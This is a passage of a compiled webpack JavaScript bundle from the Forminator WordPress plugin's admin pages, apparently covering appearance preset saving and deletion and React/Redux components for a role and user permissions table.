var _redux = __webpack_require__(11);
var _settings = __webpack_require__(109);
var settingsActions = _interopRequireWildcard(_settings);
var _utils = __webpack_require__(1);
var _design = __webpack_require__(251);
var _design2 = _interopRequireDefault(_design);
var _colors = __webpack_require__(258);
var _colors2 = _interopRequireDefault(_colors);
var _fonts = __webpack_require__(288);
var _fonts2 = _interopRequireDefault(_fonts);
var _formContainer = __webpack_require__(290);
var _formContainer2 = _interopRequireDefault(_formContainer);
var _customCss = __webpack_require__(294);
var _customCss2 = _interopRequireDefault(_customCss);
var _notifications = __webpack_require__(30);
var _notifications2 = _interopRequireDefault(_notifications);
var _pageSettings = __webpack_require__(295);
var _pageSettings2 = _interopRequireDefault(_pageSettings);
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var presetId = jQuery('select[name="appearance_preset"]').val();
var currentPreset = !_.isUndefined(forminatorData.currentPreset) ? forminatorData.currentPreset : [];
var store = (0, _configureStore2.default)(currentPreset);
_i18nWpPlugin2.default.setLocale(forminatorl10n.locale);
// We need our own version of jQuery in case user click Preview with WPEditor enabled
// WPEditor instance breaks window.jQuery object and we should restore on modal close
window.jQueryFormi = jQuery.noConflict();
function mapStateToProps(state) {
return {
settings: state.settings,
wrappers: state.wrappers,
formDesign: state.settings['form-style'] || 'default'
};
}
function mapDispatchToProps(dispatch) {
return {
actions: {
settingsActions: (0, _redux.bindActionCreators)(settingsActions, dispatch)
}
};
}
function handleBeforeunload(e) {
if (window.forminatorChanges && window.forminatorChanges.settings === true) {
e.preventDefault();
e.returnValue = (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
return (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
}
}
function saveAppearancePreset(props) {
var $target = jQuery('.forminator-update-appearance-preset');
$target.addClass('sui-button-onload');
var object = {
action: 'forminator_save_appearance_preset',
_wpnonce: forminatorData.presetNonce,
presetId: presetId,
settings: JSON.stringify(props.settings)
};
_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(object)).then(function (data) {
if (data.data.success) {
// Update status
window.forminatorChanges.settings = false;
props.setHasUpdated(false);
if (data.data.data) {
var custom = new _notifications2.default({
type: 'success',
text: data.data.data
});
custom.open();
}
} else {
var _custom = new _notifications2.default({
type: 'error',
text: data.data.data
});
_custom.open();
}
}).catch(function (err) {
var custom = new _notifications2.default({
type: 'error',
text: (0, _utils.translate)('Something went wrong. Please try again.')
});
custom.open();
console.log(err);
}).then(function () {
$target.removeClass('sui-button-onload');
});
}
function changePreset(e) {
var presetId = e.currentTarget.value,
div_preloader = '<div class="sui-box-body sui-block-content-center" style="height: 420px;display: flex; justify-content: center; flex-direction: column;"><p class="" aria-label="Loading content">' + '<i class="sui-icon-loader sui-loading" aria-hidden="true"></i>' + '<br>' + (0, _utils.translate)('Loading Preset data...') + '</p></div>';
jQuery('#forminator-appearance-preset').html(div_preloader);
Forminator.openPreset(presetId);
}
function deletePreset() {
var $target = jQuery('.popup-confirmation-confirm');
$target.addClass('sui-button-onload');
var presetId = jQuery('select[name="appearance_preset"]').val();
var data = {
action: 'forminator_delete_appearance_preset',
_wpnonce: forminatorData.presetNonce,
preset_id: presetId
};
jQuery.ajax({
url: Forminator.Data.ajaxUrl,
type: "POST",
data: data,
success: function success(result) {
if (result && result.success) {
Forminator.openPreset('default', 'preset_deleted');
} else {
Forminator.Notification.open('error', result.data, 4000);
$target.removeClass('sui-button-onload');
}
},
error: function error(_error) {
Forminator.Notification.open('error', _error.data, 4000);
$target.removeClass('sui-button-onload');
}
});
return false;
}
function Appearance(props) {
var _React$useState = _react2.default.useState(!!window.forminatorChanges.settings),
_React$useState2 = _slicedToArray(_React$useState, 2),
hasUpdated = _React$useState2[0],
setHasUpdated = _React$useState2[1];
function save() {
saveAppearancePreset(_extends({}, props, { setHasUpdated: setHasUpdated }));
}
_react2.default.useEffect(function () {
setHasUpdated(!!window.forminatorChanges.settings);
}, [window.forminatorChanges.settings]);
_react2.default.useEffect(function () {
window.addEventListener('deletePreset', deletePreset);
window.jQuery('select[name="appearance_preset"]').off('change').on('change', changePreset);
window.jQuery('.forminator-update-appearance-preset').off('click').on('click', save);
}, [props]);
var fontStyle = !_.isUndefined(props.settings['form-style']) ? props.settings['form-style'] : 'default',
title = jQuery('select[name="appearance_preset"] option:selected').first().text();
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{ className: 'sui-box-header' },
_react2.default.createElement(
'h2',
{ className: 'sui-box-title' },
title
),
hasUpdated && _react2.default.createElement(
'span',
{ className: 'sui-tag' },
(0, _utils.translate)('Unsaved Changes')
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-body' },
_react2.default.createElement(_design2.default, props),
fontStyle !== 'none' && _react2.default.createElement(
_react2.default.Fragment,
{ key: (0, _utils.getThemePrefix)(props) + 'themeKey' },
_react2.default.createElement(_colors2.default, _extends({}, props, { preset: 'true' })),
_react2.default.createElement(_fonts2.default, _extends({}, props, { preset: 'true' })),
_react2.default.createElement(_formContainer2.default, props)
),
_react2.default.createElement(_customCss2.default, props)
)
);
}
var AppearanceContainer = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(Appearance);
window.forminatorChanges = { settings: false };
window.addEventListener('beforeunload', handleBeforeunload);
(0, _renderBlock.renderBlock)('forminator-appearance-preset', _react2.default.createElement(
_reactRedux.Provider,
{ store: store },
_react2.default.createElement(AppearanceContainer, null)
));
/***/ }),
/* 809 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _renderBlock = __webpack_require__(89);
var _reactRedux = __webpack_require__(13);
var _configureStore = __webpack_require__(810);
var _configureStore2 = _interopRequireDefault(_configureStore);
var _i18nWpPlugin = __webpack_require__(52);
var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);
var _main = __webpack_require__(814);
var _main2 = _interopRequireDefault(_main);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/* jshint esversion: 6 */
var store = (0, _configureStore2.default)(forminatorData.mainSettings);
// import { MemoryRouter, Route } from 'react-router-dom';
_i18nWpPlugin2.default.setLocale(forminatorl10n.locale);
window.forminatorChanges = {
permissions: {}
};
// We need our own version of jQuery in case user click Preview with WPEditor enabled
// WPEditor instance breaks window.jQuery object and we should restore on modal close
window.jQueryFormi = jQuery.noConflict();
// Main.
(0, _renderBlock.renderBlock)('forminator-permissions', _react2.default.createElement(
_reactRedux.Provider,
{ store: store },
_react2.default.createElement(_main2.default, null)
));
/***/ }),
/* 810 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = configureStore;
var _redux = __webpack_require__(11);
var _reduxThunk = __webpack_require__(112);
var _reduxThunk2 = _interopRequireDefault(_reduxThunk);
var _index = __webpack_require__(811);
var _index2 = _interopRequireDefault(_index);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var newCreateStore = (0, _redux.compose)((0, _redux.applyMiddleware)(_reduxThunk2.default))(_redux.createStore);
function configureStore(initialState) {
return newCreateStore(_index2.default, initialState);
}
/***/ }),
/* 811 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _redux = __webpack_require__(11);
var _permissions = __webpack_require__(812);
var _permissions2 = _interopRequireDefault(_permissions);
var _modal = __webpack_require__(813);
var _modal2 = _interopRequireDefault(_modal);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
// Import reducers
var appReducers = (0, _redux.combineReducers)({
// List reducers
permissions: _permissions2.default,
modal: _modal2.default
});
exports.default = appReducers;
/***/ }),
/* 812 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = permissions;
function permissions() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_PERMISSIONS':
return action.permissions;
default:
return state;
}
}
/***/ }),
/* 813 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var initialState = {
modalType: null,
modalProps: {}
};
exports.default = function () {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState;
var action = arguments[1];
switch (action.type) {
case 'SHOW_MODAL':
return {
modalProps: action.modalProps,
modalType: action.modalType,
type: action.type
};
case 'HIDE_MODAL':
return initialState;
default:
return state;
}
};
/***/ }),
/* 814 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _permissions = __webpack_require__(815);
var _permissions2 = _interopRequireDefault(_permissions);
var _modal = __webpack_require__(822);
var _modal2 = _interopRequireDefault(_modal);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Main = function (_Component) {
_inherits(Main, _Component);
function Main(props) {
_classCallCheck(this, Main);
return _possibleConstructorReturn(this, (Main.__proto__ || Object.getPrototypeOf(Main)).call(this, props));
}
_createClass(Main, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.goToSectionFromUrl();
window.addEventListener('beforeunload', this.handleBeforeunload);
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
window.removeEventListener('beforeunload', this.handleBeforeunload);
}
/*
* If URL has param gotosection, upon page load,
* the page will go to the specified tab on the gotosection param.
* Useful when redirecting from another page that is not part of form editor.
*/
}, {
key: 'goToSectionFromUrl',
value: function goToSectionFromUrl() {
var goToSection = (0, _utils.parseQueryString)().gotosection;
if (!_.isUndefined(goToSection)) {
var theUrl = window.location.href;
this.props.history.push('/' + (0, _utils.parseQueryString)().gotosection);
window.history.replaceState({}, document.title, theUrl.slice(0, theUrl.indexOf('&gotosection')));
}
}
}, {
key: 'handleBeforeunload',
value: function handleBeforeunload(e) {
if (window.forminatorChanges.length > 0 || window.forminatorChanges.settings === true) {
e.preventDefault();
e.returnValue = (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
return (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
}
}
}, {
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_permissions2.default, this.props),
_react2.default.createElement(_modal2.default, this.props)
);
}
}]);
return Main;
}(_react.Component);
exports.default = Main;
/***/ }),
/* 815 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _reactRedux = __webpack_require__(13);
var _redux = __webpack_require__(11);
var _modal = __webpack_require__(401);
var modalActions = _interopRequireWildcard(_modal);
var _permissions = __webpack_require__(402);
var permissionActions = _interopRequireWildcard(_permissions);
var _permissions2 = __webpack_require__(816);
var _permissions3 = _interopRequireDefault(_permissions2);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
function mapStateToProps(state) {
return {
permissions: state.permissions || {},
modal: state.modal
};
}
function mapDispatchToProps(dispatch) {
return {
actions: {
modalActions: (0, _redux.bindActionCreators)(modalActions, dispatch),
permissionActions: (0, _redux.bindActionCreators)(permissionActions, dispatch)
}
};
}
exports.default = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(_permissions3.default);
/***/ }),
/* 816 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _header = __webpack_require__(817);
var _header2 = _interopRequireDefault(_header);
var _footer = __webpack_require__(818);
var _footer2 = _interopRequireDefault(_footer);
var _permissionsTable = __webpack_require__(819);
var _permissionsTable2 = _interopRequireDefault(_permissionsTable);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Permissions = function (_Component) {
_inherits(Permissions, _Component);
function Permissions(props) {
_classCallCheck(this, Permissions);
return _possibleConstructorReturn(this, (Permissions.__proto__ || Object.getPrototypeOf(Permissions)).call(this, props));
}
_createClass(Permissions, [{
key: 'render',
value: function render() {
var tooltipWidth = { "--tooltip-width": "220px" };
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_header2.default, _extends({}, this.props, { title: (0, _utils.translate)('Permissions') })),
_react2.default.createElement(_permissionsTable2.default, this.props),
_react2.default.createElement(_footer2.default, this.props)
);
}
}]);
return Permissions;
}(_react.Component);
exports.default = Permissions;
/***/ }),
/* 817 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Header = function (_Component) {
_inherits(Header, _Component);
function Header() {
_classCallCheck(this, Header);
return _possibleConstructorReturn(this, (Header.__proto__ || Object.getPrototypeOf(Header)).apply(this, arguments));
}
_createClass(Header, [{
key: 'render',
value: function render() {
var prop = this.props;
return _react2.default.createElement(
'div',
{ className: 'sui-box-header' },
_react2.default.createElement(
'h2',
{ className: 'sui-box-title' },
prop.title
),
prop.hasUpdated && _react2.default.createElement(
'span',
{ className: 'sui-tag' },
(0, _utils.translate)('Unsaved Changes')
)
);
}
}]);
return Header;
}(_react.Component);
exports.default = Header;
/***/ }),
/* 818 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Footer = function (_Component) {
_inherits(Footer, _Component);
function Footer(props) {
_classCallCheck(this, Footer);
var _this = _possibleConstructorReturn(this, (Footer.__proto__ || Object.getPrototypeOf(Footer)).call(this, props));
_this.showModal = _this.showModal.bind(_this);
_this.closeModal = _this.closeModal.bind(_this);
return _this;
}
_createClass(Footer, [{
key: 'showModal',
value: function showModal() {
this.props.actions.modalActions.showModal({
open: true,
new: true,
closeModal: this.closeModal
}, 'permissions');
}
}, {
key: 'closeModal',
value: function closeModal() {
this.props.actions.modalActions.showModal({
open: false
}, 'permissions');
}
}, {
key: 'render',
value: function render() {
var prop = this.props;
return _react2.default.createElement(
'div',
{ className: 'sui-box-footer' },
_react2.default.createElement(
'button',
{
className: 'sui-button sui-button-gray',
onClick: this.showModal
},
_react2.default.createElement('span', { className: 'sui-icon-plus sui-', 'aria-hidden': 'true' }),
(0, _utils.translate)('Add permissions')
)
);
}
}]);
return Footer;
}(_react.Component);
exports.default = Footer;
/***/ }),
/* 819 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _permissionItem = __webpack_require__(820);
var _permissionItem2 = _interopRequireDefault(_permissionItem);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */
var PermissionsTable = function (_Component) {
_inherits(PermissionsTable, _Component);
function PermissionsTable(props) {
_classCallCheck(this, PermissionsTable);
return _possibleConstructorReturn(this, (PermissionsTable.__proto__ || Object.getPrototypeOf(PermissionsTable)).call(this, props));
}
_createClass(PermissionsTable, [{
key: 'applySticky',
value: function applySticky() {
var node = this.refs.StickyHeader;
var currentOffset = node.getBoundingClientRect().top;
var stickyOffset = parseInt(window.getComputedStyle(node).top.replace('px', ''));
var isStuck = currentOffset <= stickyOffset;
if (isStuck) {
node.classList.add('sui-is-sticky');
} else {
node.classList.remove('sui-is-sticky');
}
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{ className: 'sui-box-body' },
_react2.default.createElement(
'p',
null,
(0, _utils.translate)('By default, all administrators have complete access to Forminator. ' + 'You can provide and manage access to other user roles or to individual user(s) below.')
)
),
_react2.default.createElement(
'div',
{ className: 'forminator-permissions-table' },
_react2.default.createElement(
'table',
{ className: 'sui-table sui-table-flushed' },
_react2.default.createElement(
'thead',
null,
_react2.default.createElement(
'tr',
null,
_react2.default.createElement(
'th',
{ colSpan: 4 },
(0, _utils.translate)('User Role/User')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Modules')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Submissions')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Add-ons')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Integrations')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Reports')
),
_react2.default.createElement(
'th',
{ colSpan: 2, className: 'fp-item-col' },
(0, _utils.translate)('Settings')
),
_react2.default.createElement('th', { colSpan: 1 })
)
),
_react2.default.createElement(
'tbody',
null,
_react2.default.createElement(_permissionItem2.default, _extends({}, this.props, { isAdmin: true })),
_.map(this.props.permissions, function (permission, index) {
return _react2.default.createElement(_permissionItem2.default, _extends({
key: index,
actions: _this2.props.actions,
isAdmin: false
}, permission));
})
)
)
)
);
}
}]);
return PermissionsTable;
}(_react.Component);
exports.default = PermissionsTable;
/***/ }),
/* 820 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _permissionIcon = __webpack_require__(821);
var _permissionIcon2 = _interopRequireDefault(_permissionIcon);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */
var PermissionItem = function (_Component) {
_inherits(PermissionItem, _Component);
function PermissionItem(props) {
_classCallCheck(this, PermissionItem);
var _this = _possibleConstructorReturn(this, (PermissionItem.__proto__ || Object.getPrototypeOf(PermissionItem)).call(this, props));
_this.permissionMenu = _react2.default.createRef();
_this.showModal = _this.showModal.bind(_this);
_this.deleteModal = _this.deleteModal.bind(_this);
return _this;
}
_createClass(PermissionItem, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.$permission = jQuery(this.permissionMenu.current);
this.$permission.on('click', function (e) {
e.preventDefault();
e.stopPropagation();
jQuery('.fp-permission-actions .permission-menu').not(this).parent('.sui-dropdown.open').removeClass('open');
jQuery(this).parent().toggleClass('open');
});
this.$permission.on('mouseout', function (e) {
jQuery(this).trigger('blur');
});
// Remove this when more Forminator menu items are added in the future to enable accordion.
var count = 0;
this.accordionTimeout(count);
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$permission.off();
}
/*
* Removes the click event on sui-accordion until SUI has initialized.
* This was added because SUI has no trigger event
* when it has finished initializing that we could have used.
*/
}, {
key: 'accordionTimeout',
value: function accordionTimeout(count) {
var self = this;
setTimeout(function () {
jQuery('.forminator-permissions-table.sui-accordion').off('click');
if (count < 10) {
self.accordionTimeout(count);
}
count++;
}, 200);
}
}, {
key: 'showModal',
value: function showModal() {
var modalActions = this.props.actions.modalActions;
var userIds = this.props.specific_user;
modalActions.showModal(_extends({}, this.props, userIds && { currentUser: this.props.user_info[userIds[0]] }, {
open: true,
closeModal: function closeModal() {
modalActions.showModal({
open: false
}, 'permissions');
}
}), 'permissions');
}
}, {
key: 'deleteModal',
value: function deleteModal() {
var modalActions = this.props.actions.modalActions;
modalActions.showModal(_extends({}, this.props, {
open: true,
closeModal: function closeModal() {
modalActions.showModal({
open: false
}, 'permissionDelete');
}
}), 'permissionDelete');
}
}, {
key: 'render',
value: function render() {
var prop = this.props;
var isAdmin = prop.isAdmin;
var tooltipWidth = { "--tooltip-width": "220px" };
var accessList = ['manage_forminator_modules', 'manage_forminator_submissions', 'manage_forminator_addons', 'manage_forminator_integrations', 'manage_forminator_reports', 'manage_forminator_settings'];
var roleImage = _react2.default.createElement('span', { className: 'sui-icon-community-people sui-md', 'aria-hidden': 'true' });
var roleName = (0, _utils.translate)('Administrator');
var roleDesc = (0, _utils.translate)('All');
var itemName = '';
// Set the role/user info.
if (!isAdmin) {
if ('role' === prop.permission_type) {
var countExcluded = prop.exclude_users.length;
roleName = forminatorData.userRoles[prop.user_role].name;
roleDesc += 0 !== countExcluded ? (0, _utils.translate)(' except ') + countExcluded : '';
} else {
var users = prop.specific_user;
var tooltipText = '';
roleImage = _react2.default.createElement('img', { src: prop.avatar, width: '30', height: '30' });
// If there are more than 1 chosen.
if (users.length > 1) {
roleName = prop.user_info[users[0]].name;
roleName += ' +' + (users.length - 1) + ' ';
roleName += (0, _utils.translate)('more');
roleDesc = users.length + (0, _utils.translate)(' users');
// Create tooltip text.
var counter = 0;
_.map(prop.user_info, function (info, userId) {
counter++;
tooltipText += info.name + ' - ' + '(' + info.email + ')';
if (counter < users.length) {
tooltipText += ', \n';
}
});
itemName = _react2.default.createElement(
'span',
{
className: 'sui-tooltip sui-tooltip-constrained sui-tooltip-right',
style: tooltipWidth,
'data-tooltip': tooltipText
},
_react2.default.createElement(
'span',
{ className: 'fp-item-name' },
roleName
)
);
} else {
if (prop.user_info) {
roleName = prop.user_info[users[0]].name;
}
roleDesc = prop.user_info[users[0]].email;
}
}
}
// Set item name here for no tooltips.
if ('' === itemName) {
itemName = _react2.default.createElement(
'span',
{ className: 'fp-item-name' },
roleName
);
}
return _react2.default.createElement(
'tr',
null,
_react2.default.createElement(
'td',
{ colSpan: 4, className: ' fp-role-head' },
_react2.default.createElement(
'div',
{ className: 'fp-role-box' },
_react2.default.createElement(
'div',
{ className: 'fp-role-img' },
roleImage
),
_react2.default.createElement(
'div',
{ className: 'fp-role-info' },
itemName,
_react2.default.createElement(
'span',
{ className: 'fp-item-subtitle' },
roleDesc
)
)
)
),
_.map(accessList, function (access, x) {
return _react2.default.createElement(_permissionIcon2.default, _extends({ key: x }, prop, { access: access }));
}),
_react2.default.createElement(
'td',
{ colSpan: 1, className: 'fp-permission-actions' },
!isAdmin && _react2.default.createElement(
'div',
